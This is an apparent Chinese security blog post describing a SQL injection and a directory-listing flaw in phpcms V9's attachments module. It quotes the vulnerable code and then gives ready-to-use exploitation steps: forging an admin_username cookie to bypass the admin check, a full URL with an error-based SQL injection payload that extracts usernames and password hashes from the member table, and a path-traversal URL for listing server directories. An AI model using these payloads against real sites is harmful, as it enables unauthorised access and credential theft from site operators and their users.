phpcmsV9 SQL注射与列目录漏洞详解

分类:安全 | 2012-02-6 | 撸过 145 次
2人扯谈

漏洞文件:phpcmsmodulesattachmentattachments.php
SQL注射漏洞相关代码:

public function album_load() {
if(!$this->admin_username) return false;
if($_GET['args']) extract(getswfinit($_GET['args']));
if($_GET['dosubmit']){
extract($_GET['info']);
if($filename) $where = "AND `filename` LIKE '%$filename%' ";

可以看出extract 存在变量覆盖,从而造成注入
再看

$this->admin_username
$this->admin_username = param::get_cookie('admin_username');

所以可以随意构造绕过。
利用过程
首先访问:

https://www.webshell.cc/index.php?m=attachment&c=attachments&a=swfupload_json

会生成Cookie,YuHYi_att_json
修改cookie 文称为YuHYi_admin_username
再访问

https://www.webshell.cc/index.php?m=attachment&c=attachments&a=album_load&t=1&dosubmit=true&info[where]=%201=1%20and%20%28select%201%20from%28select%20count%28*%29,concat%280x7c,%28select%20concat%28username,0x7c,password%29%20from%20v9_member%20%20limit%200,1%29,0x7c,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1%29a%29%23

即可暴出

列目录漏洞:
访问:

https://www.webshell.cc/index.php?m=attachment&c=attachments&a=album_dir&dir=…/../…/…///phpsso_server/

绕过过滤

本站内容均为原创,转载请务必保留署名与链接!
phpcmsV9 SQL注射与列目录漏洞详解:https://www.webshell.cc/2805.html

随机日志